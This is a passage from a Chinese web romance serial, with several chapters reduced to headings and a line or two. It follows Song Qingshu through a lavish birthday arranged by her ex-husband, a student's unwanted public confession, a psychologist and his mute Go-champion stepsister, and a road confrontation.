关于这一点,陆夫人也跟她解释了——
陆夫人说,早在很久之前盛熙川就主动问了这件事,要提供场地。
“放着主动提供的场地不用,再额外去找一家,让人多心。”
宋清殊没有矫情:“用就是了。”
很快,到了生日当天。
一大清早,有人来敲门。
珍珠小朋友抢着去开,接着,宋清殊便看到了打扮的花蝴蝶一样的盛熙川。
第254章 生日
宋清殊看着门口的人,简直不知该做如何反应。
盛熙川穿了一件枪驳领高定西装,暗红色的领带规规矩矩打了温莎结,西装左上侧的口袋里,甚至放了一个折成三角形的口袋巾。
太隆重了,比订婚那天都隆重,以至于手里的花束都失了色。
不知道的人还以为过生日的是他。
宋清殊想笑,真的笑了起来。
盛熙川不知道她在笑什么,但看她笑,也跟着笑了。
他把花交给宋清殊,给了她一个拥抱。
“生日快乐。”
抱一下,在宋清殊还没觉得别扭要躲开前,迅速离开。
两人结婚离婚,孩子都三岁半了,这竟然是他第一次陪她过生日。
身份也有点尴尬,是前夫。
宋清殊接过花,道了谢。
把盛熙川让进门,才说:“我们刚起,还没洗漱收拾,恐怕你要等一等。”
想到家里没有男士拖鞋给他换,又说:“不用换鞋了,家里只有四位女士,没有准备过男士拖鞋。”
盛熙川点点头,却还是把皮鞋脱在门口,穿着袜子进去了。
保姆雪姐见了,又赶忙去衣帽间找了一双一次性酒店拖鞋给他。
珍珠一看见盛熙川就很激动,拉了他的手,带着他四处参观。
盛熙川也很捧场,不错眼地看着宋清殊家里的一切,生怕错过任何细节。
宋清殊一般在衣帽间化妆。
她化了妆,穿了一件相对隆重的蓝色长袖礼服裙。
出来时,正看到盛熙川开门,别墅的老保姆兰姐捧了个食盒站在门口。
兰姐一见宋清殊,赶紧先送祝福。
“生日快乐,宋小姐。”
“宋小姐”三个字她不习惯,叫的有点磕绊。
“这是厨子做的长寿面,我给您送过来。”
宋清殊赶忙把人让进来。
让雪姐和芝姐倒茶给她喝。
长寿面有两碗,大的那碗是宋清殊的,小的那碗给珍珠吃。
珍珠站起来,用练习筷把面条高高挑起,惊呼:“竟然真的是一整根!”
宋清殊和盛熙川对视一眼,都笑了。
“盛熙川,多谢你,雪姐和芝姐都不会做长寿面,我本来准备到酒店再吃的。”
宋清殊一边吃一边说。
盛熙川:“我把家里里的厨子给你用。你要觉得家里多个男人做饭碍眼,就一日三餐让他在别处做了送过来。”
……不至于,不至于。
宋清殊自己在国外吃了八年的白人饭,对食物没有那么挑。
而珍珠才三岁,很多大人的食物还都不能吃。
两个保姆的厨艺完全够了。
她赶忙拒绝:“不要,我和珍珠没有那么挑,你塞个厨子进来,雪姐和芝姐该伤心了。”
盛熙川下意识:“那你想吃什么,就回来吃。”
说完,又觉得这话有点逾矩,怕她不高兴。
宋清殊生日心情好,从面碗里抬头看他:“好。”
她眼里带了点笑意。
盛熙川的心情迅速飞扬了起来。
他觉得,宋清殊过生日有种大赦天下的感觉,自己这个被判了死刑的人,都获得了谅解。
戒骄戒躁。
他告诉自己,之前已经走过很多错路,这次一定要稳下来。
宋清殊吃完面,带着珍珠跟盛熙川一起去酒店。
这才发现,楼下不止停了一辆车,是一整个劳斯莱斯车队。
司仪,傧相,摄像,一应俱全。
红毯从单元门口一路铺到车前,周围摆满了花。
见她下来,还有制服统一的工作人员撒起花瓣。
“祝宋小姐,新的一岁,步步生花。”
宋清殊望着眼前堪比结婚的场面,无比吃惊。
她虽然答应了陆夫人大办,想的也不过是多邀请一些人,却从没想到要搞这么大阵仗。
车子在上京内环路绕一圈,开到酒店。
从电梯出来,通往宴会厅的路上,铺满了永生花玫瑰,有上万朵。
宋清殊在心里有个猜测,她觉得盛熙川可能会表白。
第255章 温世誉表白
永生花玫瑰的价格比普通玫瑰贵上很多倍,市面上也没有那么多,可盛熙川弄了上万朵过来,不知用了多少财力物力。
他让陆夫人带来了一个相册。
第256章 顺畅沟通
宋清殊被温世誉按得肩膀直疼,但头更疼。
她也的确是这样的性格,拒绝得干脆利落,不会平白给人希望。
第257章 王岁岁
宋清殊的十八九岁,每天都素颜带着黑框眼镜混在一群鬼佬中去上课。
她那时候,心情在低谷里,性格又封闭,不肯跟人打交道,被同学搭讪时常发生,但她一个好脸色都没给过对方。
再加上东西方文化,本来就有鸿沟,她从来没有被同龄男孩子热烈追求过。
所以温世誉的出现,简直打得她措手不及。
在他之前,宋清殊从来没想过,会有一个人能精力旺盛到每天给别人发早安,午安,晚安,不管她是否回复,都能坚持下去。
为了躲清静,她设置了消息免打扰,两个星期下来,未读消息达到了几百条。
更没想过,会有人能每天早上坚持送一束花和一份早餐到楼下接待处,一送就是两个星期。
他还会在公司附近等她。
有好几次,宋清殊在车里一抬头,就看到了不远不近跟在后面的摩托——
是的,在和廖绮彻底闹掰后,温世誉的父母似乎对他和廖绮也死了心,不再控制他的生活费,他也又有摩托了。
这密不透风的十四天,给宋清殊造成了很大的困扰,在她第十四次把花和食物扔到垃圾桶后,连上班的心情都没了。
她竟然也开始琢磨起王千巽那句话来。
上午没什么要紧的事,她跟底下人打了声招呼,直接去找了一趟王千巽。
她去的不巧,王千巽正在骂人。
平日里情绪比谁都稳定的王医生,此时听上怒气冲冲,哪里有平时温文儒雅的样子?
他诊室的门开着条缝,火气大得能从门内冲出来,再掀了房顶。
宋清殊不想偷听,但就是能把他说的话听得一清二楚。
“我说了他不是喜欢你,只是看中你的陪嫁,你一意孤行要嫁,受罪的是你!”
“你才多大,就开始恨嫁了,你不嫁人又能怎么样?大不了我养你一辈子!”
“有我在,谁也不能把你赶出去,谁再说什么,你告诉我就是了!”
“哭什么哭,就知道哭!”
……这句倒是温柔了一些,听上去软了不少,但嗓子还绷着,就有点怪。
可更让宋清殊觉得奇怪的是,只有王千巽一个人的声音,挨骂的人静悄悄的,没有任何回应。
她也没听到哭声。
但王千巽又分明是给对方留了气口儿的,并没有连珠炮似的一直输出。
好奇怪。
有那么一瞬间,宋清殊甚至觉得,王千巽是不是得了失心疯,一个人在自言自语。
她正纳闷,里面的声音却逐渐小了下去。
“好了好了,别哭了,你乖乖听话。有哥哥在呢,嗯?”是王千巽在哄人。
宋清殊走也不是,留也不是。
她有种偷听到别人家务事的尴尬,可她又是被助理引进来的。
助理在前台登记,归档,一副见怪不怪的模样。
“才知道王医生居然有妹妹。”宋清殊只得跟她小声闲聊,不去听里面的声音。
助理点头:“比王医生小特别多,长得跟个洋娃娃似的,可宝贝了。”
又低声跟宋清殊八卦,“这两天他妹妹带了个男朋友过来,我们看着都挺好,王医生却说那人一看就不靠谱,因为这件事,发了好几天脾气。”
宋清殊很吃惊,心说没想到王千巽还挺妹控。
两人正小声嘀咕,诊室的门被彻底推开,王千巽和他妹妹一起走了出来。
她妹妹看上去年纪很小,眉心有颗痣,脸上似乎还带着一点婴儿肥。
一双眼睛因为刚哭过,红红的,看人时,里面似乎有千言万语。
助理说的对,他妹妹的确长得像洋娃娃,漂亮得像从游戏里走出来的建模脸。
不知在哪里见过。
宋清殊在记忆里拼命搜索这个人。
而女孩看到她也愣了一下,对她硬挤出了一个笑脸。
王千巽站在女孩身后,干巴巴介绍:“我妹妹,王岁岁。”
“你好,岁岁。”宋清殊收回眼里的诧异,跟她打招呼。
女孩又笑了一下,她掏出手机,要打字。
王千巽代她说:“她不会说话,但能听到。”
宋清殊心里震撼又惋惜,她还没开口,就看女孩用手机备忘录,打了“你好”。
她赶忙笑着回应了。
又看王岁岁打了一行字给王千巽看,大概是说自己要走。
王千巽余怒未消。
“去吧,不许再去找贺栖棠了。”他说。
王岁岁可怜巴巴的看了他一眼,才离开了。
宋清殊看着她的背影,好一会儿才问:“王医生,你妹妹多大?”
还长得这么漂亮,让人一看就心里软软的。
王千巽:“20岁。”
显然他不愿多谈,很快转移了话题,问她来意。
宋清殊这才问他:“上次我和盛熙川过来,你说,他会遇到一个劲敌,是温世誉吗?”
王千巽失笑:“这个问题,盛熙川一个多月前就来问过我。”
宋清殊更加诧异:“你怎么说的?”
王千巽摊手:“如实说呗,排除一切不可能因素,剩下的就是真相。
我觉得他会遇到劲敌,是因为你有魅力,并不是我未卜先知。
所以你问我那人是不是温世誉,要看你自己的选择,问问你自己的心。”
……说了跟没说一样。
她的心里只拿他当弟弟,不掺杂任何其他感情,在她心里,盛熙川没有劲敌。
“我不觉得他是。”她说,又干巴巴的问,“所以这件事我该怎么处理?”
问完又觉得后悔。
她自己的私事,过来问一个心理医生怎么处理,也太离谱了。
果然,王千巽都被问笑了。
“要不,你跟我刚才骂岁岁一样,骂他一顿?让他再也不来找你。”
宋清殊:“……不太好吧?”
王千巽:“那我就不知道了。”
他要知道,也不至于被自己家的小哑巴气得要死。真想敲开她的脑袋,看看里面装了什么。
看王千巽兴致不高,宋清殊也实在没什么具体的内容要问,扯了两句就回去了。
宋清殊走后,王千巽直接告诉助理,把下午的咨询推了。
他关起门来大半天,一个人调整情绪。
他天天开导别人,事情到了自己身上,反而连最基本的主客体分离都做不到。
王千巽情绪低迷,没给出什么有效建议,宋清殊对感情上的事本来就是一块木头,再加上被温世誉缠得心烦,倒也根本没发现他有什么不对劲。
她回去后,起初还有点心不在焉,后来有事要忙,就继续工作,把温世誉暂时抛到脑后了。
一个孩子而已,不理他,新鲜劲儿一过,说不定就好了。
又过了几天,下班时间,宋清殊手头还有些工作没处理完,便多耽搁了一会儿。
她突然接到了助理电话。
“宋总,您今天要不换辆车回家吧。”助理在那边吞吞吐吐,欲言又止。
“怎么了?”宋清殊不解。
助理说,温世誉在公司楼下摆了鲜花阵,要对她表白。
第258章 你还爱他吗
助理发来的照片中,陆氏楼下的空地上摆满了玫瑰花,看上去密密麻麻有几万朵,只留出一条狭窄的小路给下班的人通过。
温世誉一改往日运动男孩的装扮,穿了一身米色西装,抱着一束花站在最前面,看上去格外惹眼。
身后的半空中,是两架无人机拉着条幅,红底白字,大大的“宋清殊,i Love u”。
……宋清殊看得头皮发麻。
这栋办公楼是陆氏的产业,虽然租出去了几层给别家办公,但安保人员都是陆氏自己的。
温世誉虽然是在办公楼外边,可到底也有保安站岗。
“保安呢,没人管他?”宋清殊问。
助理那边也有点义愤填膺,听上去,像在跟她告状:“是长鸣总没让拦,长鸣总说,您也是单身,不能不给您机会。”
宋清殊:tmd%#*¥;@
她在心里一通C语言输出,就差骂陆二叔祖宗八辈了。
可宋清殊残存着一丝理智,毕竟陆二叔和她干爸是亲兄弟,骂他可以,祖宗不能骂。
她深呼吸,调整自己,在思索了几分钟后,对助理道:“放心吧,我自己处理。”
宋清殊起身关上电脑,为了以防万一,去技术部找了个还在低头加班的男同事,让他跟自己一起去。
那位同事全程拿着手机跟拍录音。
楼下已经聚集了不少吃瓜的人。
本公司和租户公司下了班没走的,路过吃瓜的,黑压压一片,有几百号人。
不知道的还以为这栋楼发生了命案。
宋清殊一下来,所有人的目光都集中到了她身上。
哪怕是很多陆氏的同事,也都没动地方。
一个人明目张胆地吃上司的瓜不好,但法不责众,一群人吃瓜,大家互相有个倚仗,谁都不怕。
见宋清殊一来,不知谁欢呼了一声。
“正主下来了!”
所有人都举起了手机,准备见证浪漫时刻的和别有用心的,几乎能各占一半。
甚至还有人叫来了媒体。
宋清殊看到了几辆写着某某传媒的车开了过来,耐心更是被耗尽了。
她一步步朝温世誉走过去,脸上的神情皮笑肉不笑,静静地审视着他。
温世誉再有城府,也到底是个孩子,原本正为自己的行为心潮澎湃,陷入自嗨中。
这个场地上,他放了9万朵玫瑰花,还有99架无人机等着表演,摆出告白阵营。
他的兄弟们都在一旁,拿着dv和手拧炮,就等着一会儿宋清殊感动哭了,跟他热烈相拥时,能为他们添上浓墨重彩的一笔。
这帮男孩子都在为温世誉打气。
就这阵容,换了哪个女生不感动哭了?
廖绮那样作的人,都一直想让他对自己公开表白,玩一把浪漫。
他就不信打动不了宋清殊。
可看宋清殊的表情,不像是感动。
她的眼里像装了两把加特林,想直接把现场的所有人秒了。
温世誉莫名提了口气。
“姐姐。”他开口,一紧张,竟然忘了刚排练好的要单膝跪地。
宋清殊走近,仰头看他:“跟我来。”
温世誉从来没见过宋清殊这个神情,她拿出了做大事情的冷静,像即将面对一个商业谈判,而不是表白。
陌生的神情让温世誉心口发紧,一时间,他不由自主地迈开脚步,跟着宋清殊往里走。
“诶,怎么又回去了?”温世誉的同伴问。
“对啊,戒指还在我这里!”另一个说。
宋清殊回头,冷冷地瞪了两人一眼。
他们也从来没有见过宋清殊这么冷淡的表情,一个个惊讶地嘴巴张成“o”型,却真的闭了嘴,没敢再说话。
宋清殊一路把温世誉带进了办公楼,她随手推开一个保安室,示意里面的人出去。
一时间,只剩下了宋清殊和温世誉两人。
宋清殊依旧静静地看着他,有长达一分钟的时间没说话。
温世誉被她盯得发毛。
总觉得宋清殊把他叫过来不对劲,但准备好的台词他一定要说。
“姐姐,我喜欢你,请你接受我。”
宋清殊却像根本没听见温世誉这番话一般。
她找了把椅子坐下,拿出了商业场上谈判的姿态:
“温世誉,我给你两个选择:
第一,一会儿你出去告诉大家,你来找我表白是因为自己大冒险玩输了。你在上京上学,除了我不认识别人,只能找我,我也会帮你打圆场,这件事就这么过去了。”
“姐姐,我不会这么说的,我就是喜欢你。”
宋清殊冷笑:“喜欢?你的喜欢已经打扰到我了。你要是真喜欢我,就该为我考虑。
我干爸刚去世,陆氏一而再再而三的出问题,你一个男大学生跟我这个快30的女人表白,让人怎么看我?
你看到外面的媒体车了吗?哪个不等着拍我的丑闻?
我从花都回来,是为了帮干妈打理好陆氏,而不是为了让陆氏毁在我手里!”
温世誉开始被宋清殊镇住了,他只想搞浪漫,是真的没想那么多。
他迟疑了一下,才勉强没被宋清殊的逻辑绕进去,反问她:“所以,姐姐觉得被我喜欢是丑闻吗?”
现代大环境已经非常宽容,跟年下谈恋爱的女明星和女网红也有不少,并没有人对此格外苛责。
可宋清殊有她的理由。
“你很帅,也很优秀,对别人来说,能被你追是可以吹嘘一辈子的事。”
她先肯定温世誉,自己态度也稍稍放软,“对我来说也一样,被你喜欢过,我很感恩。但是。”
在谈判桌上呆过的人都知道,往往“但是”后面才是重点。
温世誉绷紧了心里一根弦。
果然,他听宋清殊道:“你也知道,我前不久刚过了一个特别隆重的生日,是我前夫盛熙川一手策划,包办的。”
宋清殊这次生日,毫不意外地又被媒体大肆报道了一番。
除了对生日宴盛大豪华程度的渲染,更多的还是对宋清殊和盛熙川感情的津津乐道。
几乎所有营销号都在讨论她和盛熙川应该已经复合了。
毕竟,虽然盛熙川极力弱化自己的存在感,不给她增加心理负担,却还是有不少媒体都拍到了他。
凡是有宋清殊在应酬的镜头,背后必有他的身影,不远不近地替她保驾护航。
而且这次媒体议论纷纷,宋清殊和盛熙川却一致选择了沉默,谁也没辟谣。
宋清殊说:“媒体都在传我跟前夫复合了,如果我再跟你拉扯不清,只会被人骂处处留情,不会有一点好处。
你今天的举动,就是把我逼到悬崖边,陷我于不义。”
温世誉怀揣着一腔热血过来,如今被兜头浇了一盆冷水,好半天缓不过神。
他终于意识到,自己似乎做了错事。
“姐姐,所以,你还爱盛熙川吗?”温世誉问。
第259章 宋清殊,及时行乐
宋清殊没想到温世誉会直接问,她愣了一下,选择如实回答他。
温世誉的那几个朋友,早就被盛熙川的人悄悄带走了。
第260章 参加聚会
看热闹的人群已经散去,此时只有盛熙川和宋清殊两人。
栖棠,是那天王千巽嘴里的贺栖棠吧?
第261章 妹控生气
贺栖棠大概也没想到盛熙川会替王岁岁出头,愣了一下,才尴尬地笑了笑。
难怪两人在机场见面的时候怪怪的,原来,盛熙川曾经是王千巽的患者。
第262章 情为何物
一路上,王岁岁依然垂着眼不作声,这次王千巽倒是没有再骂她。
“没事,随他们去吧。”她说。
第263章 扮猪吃老虎
灵光一闪,宋清殊退出微信界面。
她去浏览器搜索:王岁岁,围棋。
果然,最近一期国内围棋锦标赛的报道出现在第一条。
因为珍珠喜欢围棋,这次锦标赛,珍珠一直在看直播,宋清殊路过时也瞟了两眼。
难怪她第一次见到王岁岁就觉得眼熟。
王岁岁是此次围棋锦标赛的冠军!
宋清殊对围棋懂得不多,但珍珠说过,围棋的本质是一场狩猎游戏。
通过精心谋划,攻入对方的领域,从而一步步拿下对方,取得胜利。
擅长围棋的人,有超强的统筹意识,会纵观全局,步步谋划。而能拿下比赛冠军,更需要冷静的头脑,和超强的智慧。
宋清殊反复对比报道里的照片,甚至调出了直播回放来看。
不是重名者,那位20岁的冠军,就是王岁岁本人。
难怪没有她的事后采访,所有影像资料里只有她在沉默对弈。
赛场上的她,眼神犀利,唇线紧抿,看上去智力感非常足,运筹帷幄。
这样一个女孩,很难让人跟生日会上那个受惊小鹿一般的人联想到一起。
自己的妹妹是围棋冠军,王千巽应该知道的吧?以他的妹控程度,说不定会盯着每场比赛反复观看。
王千巽会不知道自己的妹妹有多聪明?
想起王岁岁被王千巽骂得狗血喷头,哭得可怜兮兮的样子。
宋清殊突然想起了盛熙川那句话——
“有没有可能,岁岁故意要她哥哥发疯?”
太有可能了。
虽然说很多天才在生活中都有相对“白痴”的一面,但宋清殊觉得王岁岁不是。
她绝对在扮猪吃老虎。
但这样看,王千巽这只老虎,却不太合格。
他外强中干,一看到王岁岁落泪,就慌得不行。
事情突然有趣了起来,宋清殊有点想笑。
她再看王千巽也有点祛魅了。
一个有名的心理医生,还搞玄学,被朋友当成“半仙儿”,在自己的感情上,不也是一叶障目,束手无策?
看来感情这事谁都不能免俗。
不过,她对王岁岁的身份产生了浓厚的兴趣。
回头可以带珍珠去拜访她,珍珠一定很高兴。
这一天过得实在丰富多彩,宋清殊脑子里乱七八糟的,什么时候睡着的都不知道。
第二天是周六,不用早起。
再醒来,她和盛熙川的热搜已经满天飞。
【盛熙川宋清殊】
【盛熙川为宋清殊准备惊喜】
【盛熙川:我就是没事过来表个白】
……
热度居高不下,有几条已经加了【爆】字样。
一时间网民又是说什么的都有。
磕Cp的占大多数,还有一小部分,觉得他们烦。
【要复婚,就赶紧复,跟挤牙膏似的,时不时放出点消息,没完没了吊人胃口,有意思吗?】
宋清殊也是经历过几次互联网风波的人,如今已经很从容了。
她随意看了看,便把这件事抛在了脑后。
她和盛熙川在这件事上很有默契,都选择了闭口不谈。
哪怕是后来被媒体一路追到公司,宋清殊也直接拒了。
外界要猜测就让他们猜,如今,她已经学会了跟舆论共存。
不得不说,名人效应带来的利益是巨大的,她这次上热搜,让更多人知道了陆氏。
陆氏的股价也因为她一路上涨。
此时的宋清殊,已经成了陆氏股民眼里财神爷一样的存在。
而温世誉那边,果然安静了下来,不再发微信,花也不送了。
失去这样一个朋友,宋清殊也有点惋惜,但没有别的办法。
明明不会跟他有什么,但还给他希望,才是真的害他。
她这样干脆地把话说开,也是为他好,希望他有一天能懂。
廖绮那边也看到了新闻。
但她关注的不是盛熙川和宋清殊,而是温世誉。
明明最开始媒体拍到的都是温世誉拿着花走向宋清殊,结果后来画风一转,温世誉从主角变成了这场表白戏里的配角,廖绮觉得不对劲。
她又去找了温世誉。
温世誉翘课,教室和宿舍都找不到人。
廖绮找到了他校外买的那所房子里,发现他躲在里面酗酒抽烟,期末考试都没去参加。
不出意外,两人又大吵了一架。
廖绮笑温世誉舔狗舔到最后一无所有,温世誉骂廖绮算什么东西,给宋清殊提鞋都不配。
廖绮跟温世誉生气之余,更是恨上了宋清殊。
她不说自己作没了一段青梅竹马的感情,反而怪宋清殊的存在,把温世誉害得像变了一个人。
人带着仇恨就容易被钻空子,很快便有人去学校找到了廖绮。
第264章 想要的在乎
当晚不只是宋清殊失眠,王岁岁也没睡好。
她没有回王家老宅,而是去了王千巽的住处。
王千巽说,她手上缠着纱布,回去奶奶要问,怕是不好解释。
“我跟奶奶说你出去比赛了。你在这儿住两天,等手好了再回家。”王千巽板着脸,凶巴巴地说。
王岁岁点头,用包着纱布的手打字:“方便吗?柳小姐最近会过来吗?”
柳素月是王千巽的女朋友,两人相亲认识的,近期有订婚计划。
王岁岁恋爱,跟她也有一定关系。
王千巽起初没懂,板着脸道:“她过来又怎么样?你是我妹妹,偶尔在我这里住两天有什么不可以的。”
说着,他福至心灵,突然意识到什么。
“等等……你跟贺栖棠在一起,该不会是因为柳素月那天说你该找个男朋友了吧?”
难怪她最近被夺舍了一样,过去连个异性朋友都没有,最近反而频繁跟异性出去。
王岁岁抿唇,打字:“是我自己要找男朋友,再说,柳小姐说的也没什么不对”
王千巽气得语塞,好半天才拍了一下她的头:“早晚是早晚,你才20岁,急什么?”
又说起贺栖棠:“再说了,看看你找了个什么东西,不只我说,是不是别人也都觉得他不行?”
他越说越气,恨不得给贺栖棠两刀。
王岁岁垂着头,乖乖站在客厅任他数落。
也许她的样子实在可怜,王千巽骂着,又开始心软。
“好了,你去收拾一下早点休息吧。”他叹了口气,“一会儿记得把那个混蛋拉黑!”
王岁岁这才如蒙大赦,抬头对他笑了一下,去了浴室。
“傻笑,被人卖了都不知道!”背后是王千巽恨铁不成钢的声音。
浴室里,王岁岁关上门,看着镜子里的自己,眼神一片清明。
想起哥哥那样抓狂,她想哭又有点想笑。
没想到,她居然在这个男人身边已经10年了。
14年前,她6岁,被母亲带着改嫁过来,半路多了个比自己大10岁的哥哥。
她的母亲和继父虽然是半路夫妻,但感情很好。
哥哥也很疼她,她是哥哥的小尾巴。
那时候,她还会说话。
直到10岁那年,发生了那件事……
母亲去世后,继父也没有再娶,起初只是有点看破红尘的意思,到后来竟然直接出家了。
生父那边的亲人也不肯要她,继父这边又都是没有血缘关系的。
谁能想到,最后要由20岁的王千巽养她,一养就是10年。
哥哥还为了她学了心理学专业,到现在也没放弃让她开口说话。
正因如此,她坚持不肯学手语,不肯承认自己是个哑巴,哥哥也由着她。
前两年,她办了18岁成人礼。
爷爷奶奶觉得王千巽这个单身汉带着个没有血缘关系的女孩,实在不合适,便把她接到了老宅去。
她一走,王千巽倒也真的找到了女朋友……怎么不算命运的安排呢。
王岁岁对着镜子发呆。
外面,王千巽在敲门。
她打开门,站在门口,用眼神打了个问号。
“你手这样,就别洗澡了,将就一下。”王千巽干巴巴地说。
王岁岁摇头。
她想解释,说自己身上有烟酒味,又想起手机在客厅。
所以她看上去有点急。
王千巽秒懂,把自己的手机从裤包里拿出来,塞给她。
接过手机,她习惯性输入密码解锁。
眼睛在看到他的桌面背景时黯淡下去。
过去是她的照片,现在是他和柳素月的合影。
王千巽就是这样,在意谁,就给谁全部,不留一点私人空间。
王岁岁停了一瞬,迅速打开备忘录。
她解释自己要洗澡的理由——
“今天聚会上好多人吸烟,我身上都是烟味儿”
她那个瞬间黯淡的眼神,王千巽自然也没有错过。
他什么也没说,转身出去,之后,拿了一卷保鲜膜回来。
“手伸过来。”
王岁岁乖乖伸手,任由王千巽把自己的右手包成一个粽子。
他的手很大,热度隔着保鲜膜和纱布一阵阵传过来,王岁岁依然觉得烫。
她心如擂鼓,耳朵都开始红。
包完后,王千巽没有马上将她的手放开。
“岁岁,哥哥身边早晚会有一个人,这个人,不是柳素月也会有别人。”他突然说。
应该是在解释手机桌面的事。
王岁岁点头,甚至努力挤出一个笑脸来,表示她懂。
“你懂个屁,”
王千巽脸色一直不太好,“那个人不管是谁,都没有对你指手画脚的权利,你在这个家里也从来都不是多余的。”
“我有女朋友也好,结婚也好,这个家永远有你的位置。”
他的语气有些烦躁。
王岁岁想点头,又怕他更烦,便左手打字:“我知道了哥哥”
酸涩感在心底蔓延,她也不知说什么才好。
最终,王千巽推门出去。
这个澡洗得有点久,洗完躺在床上,王岁岁一点睡意都没有。
她复盘最近发生的事。
哥哥很在乎她,怕她受伤害,被骗,也会因为她跟别人在一起生气。
可他的在乎,跟自己想要的在乎,终究不太一样。
午夜,她实在忍不住,给王千巽发了个微信。
“哥哥”
发出去又后悔,迅速撤回。
可王千巽还是看到了,他也没睡。
“怎么了?这么晚还不睡”
王岁岁一肚子话,可哪一句都不方便说。
不得已,她胡乱找了个借口。
“清殊姐姐今天特别护着我,我们请她吃饭好不好?”
王千巽随手发了宋清殊微信过来。
“你主动点,自己约”
……
宋清殊和王岁岁都怕对方睡了,事实上谁也没睡,两人都在看对方的朋友圈,又都胡思乱想到很晚。
一直到第二天两人才说上话。
宋清殊起晚了,一大早忙着洗漱,到公司又开会,处理事情,忙到十点多才有空喘口气,看到王岁岁微信。
王岁岁对宋清殊一再表示感谢,问她下周末有没有时间,要请她吃饭。
宋清殊没有推辞,反而问:“我能带着我女儿吗?她喜欢围棋,很崇拜你。”
王岁岁马上发来一串害羞的表情。
“当然可以了,那姐姐问问小朋友想吃什么。”
第265章 拦路车
很快到了周末,宋清殊和王岁岁的饭顺利约上了。
王千巽有事,不参加。
但餐厅是他订的,人也是他送来的。
“我一会儿有客户,你们吃。吃完记得帮我把人送回来。”王千巽对宋清殊毫不客气。
宋清殊笑:“放心,有我在,你的宝贝妹妹丢不了。”
珍珠一看到王岁岁就好奇地一双眼睛不断打量她,还主动乖乖叫了声“姐姐好”。
王岁岁害羞地笑,用手机打字给宋清殊看:“让珍珠叫我阿姨就好。”
她本来就很介意自己跟王千巽的年龄差距,珍珠叫王千巽叔叔,她便希望被叫一声阿姨。
看王岁岁的态度不像客气,于是宋清殊便跟珍珠说:“这是王千巽叔叔的妹妹,你叫阿姨就好。”
珍珠乖乖叫了阿姨。
“岁岁阿姨,我认识字,你也可以打字跟我说话。”她主动提醒王岁岁。
这个年龄段的小孩都有点轻微厌男,珍珠跟宋清殊的男性朋友几乎不说话,跟女性朋友话就相对多一些。
王岁岁对珍珠认字的说法有点诧异,但也真的开始跟她打字交流了。
她打字夸珍珠聪明又漂亮,珍珠说:“岁岁阿姨也漂亮,我还看了岁岁阿姨的比赛,真的太厉害了。”
她发自内心崇拜王岁岁。
王岁岁有点害羞,脸颊也有点红。
她打字给宋清殊看,夸珍珠这么小居然认识那么多字,真的是个天才小孩。
宋清殊只是笑,对这样的夸赞已经见怪不怪。
全程反而是王岁岁跟珍珠聊得比较多。
她们聊了一会儿围棋,珍珠大大方方说自己的见解,王岁岁频频点头。
三人都不是急性子,慢慢吃慢慢聊,竟然都觉得沟通很顺畅。
宋清殊觉得王岁岁这个“小哑巴”,跟普通会说话的朋友也没什么不同,因为不能说话的缘故,她明显更聪明更沉得住气。
后来,又聊起王岁岁马上要毕业了,宋清殊问她的规划。
王岁岁说想开一家围棋培训机构,就是不知道她这种情况能不能教好学生。
宋清殊鼓励她,告诉她勇于尝试就有机会。
“你要是不放心,可以先来家里给珍珠上几节课试试,我正好要给他找个私教。”她对王岁岁抛出橄榄枝。
又说,“你可以跟你哥哥一块儿来我家做客。”
王千巽时不时就会跟珍珠见面,但显然,珍珠对围棋的兴趣比心理学更大。
王岁岁也答应了。
一顿饭,从中午11点多,一直吃到2点。
王岁岁跟宋清殊母女相谈甚欢,三个人都有种惺惺相惜的意思。
吃完饭,宋清殊送王岁岁回智尚心理诊所。
路上,王岁岁陪珍珠坐后排,两人还在聊,都有点意犹未尽的意思。
“珍珠,你下周来诊所玩吧,我们可以一起下围棋”王岁岁对珍珠发出邀请。
珍珠便问宋清殊:“妈妈,岁岁阿姨约我下周末去诊所下棋,可以吗?”
“当然可以,宝贝。”宋清殊笑,“你岁岁阿姨不觉得打扰就好。”
王岁岁又打字给珍珠看。
珍珠:“岁岁阿姨说不打扰,她喜欢我。”
宋清殊莞尔。
她也喜欢王岁岁,一顿饭的时间接触下来,越发证实了自己的猜测:
王岁岁绝对不是个傻白甜,只是王千巽偏要把她当一个什么都处理不好的孩子而已。
他们两个还有很长的路要走,也不知何去何从。
宋清殊脑子里想着王千巽“兄妹”的事。
没注意到有辆车一直在压着她跑。
宋清殊开了辆卡宴,对方是一辆蓝色的布加迪。
起初,她以为自己开得慢挡了对方的路,便有意让速,在最右侧车道走。
可对方故意在她的左前方,四个排气管冒着白烟,发动机带着巨大的轰鸣声。
她快对方就快,她慢对方就慢,好像故意在给她制造压迫感。
宋清殊察觉出不对时,那辆车已经压着她开了一条街,时不时就要“抹”她一下。
等红绿灯时,她望过去,布加迪的篷顶关着,膜贴的很深,看不出里面是谁。
连王岁岁都察觉出了不对,她攥紧了安全带,原本想打字让珍珠提醒宋清殊注意安全,又怕吓到她,便忍住什么都没说。
反而是珍珠看着那辆车若有所思。
“妈妈,你要不要换个方向开?”她说。
这车不知道是冲她还是冲王岁岁来的,这个时候去心理诊所,兴许真的会给王千巽兄妹带来麻烦。
她至少应该先把这辆车甩了。
“宝宝,你说的对。那我先带你和岁岁阿姨去逛个商场。”
说着,又一个路口,宋清殊右转。
那辆车也直接在中间车道一个右转,硬生生地挡在了她前面。
这次,宋清殊没躲。
她撞了上去。
第266章 廖绮挑衅
那辆布加迪本意只是想给宋清殊制造点压迫感,让她害怕,怎么也没想到宋清殊敢直接撞上来。
车内人只看准了一点:她是一个母亲,车上还带着自己的孩子。
按正常人的逻辑,这种情况下一定会避让,忍气吞声。
可偏偏宋清殊没有这个觉悟,就这么撞了上去。
她那一下角度刁钻,不至于出人命,却能起到震慑作用,里面的人绝对吓一跳。
果然,布加迪直接被撞懵,一个急刹横在了当场。
两条车道同时被占,一时间,周围的交通乱作一团。
刹车声,发动机的轰鸣声,喇叭声,各种噪音混杂在一起,很是刺耳。
宋清殊卡宴的保险杠被撞坏,而那辆布加迪,副驾驶的位置直接凹进去一大块。
副驾驶有人,一个尖锐的女声传来。
王岁岁也没想到宋清殊会直接撞,慌乱之下,攥紧了自己的安全带。
她紧张的脸色发白,呼吸都不顺畅了,好一阵时间脑子一片空白。
等宋清殊熄火拉了手刹,王岁岁才反应过来,赶紧转头去看安全座椅上的珍珠。
没想到珍珠也在看她,神情非常冷静。
那不是一个三岁小孩该有的神情。
“岁岁阿姨,别怕,我没事。”她说,反而伸出小肉手,握了握王岁岁的手,试图给她力量。
那一瞬间,说不上来是什么感觉。
王岁岁居然莫名觉得有点诡异,她头皮发麻。
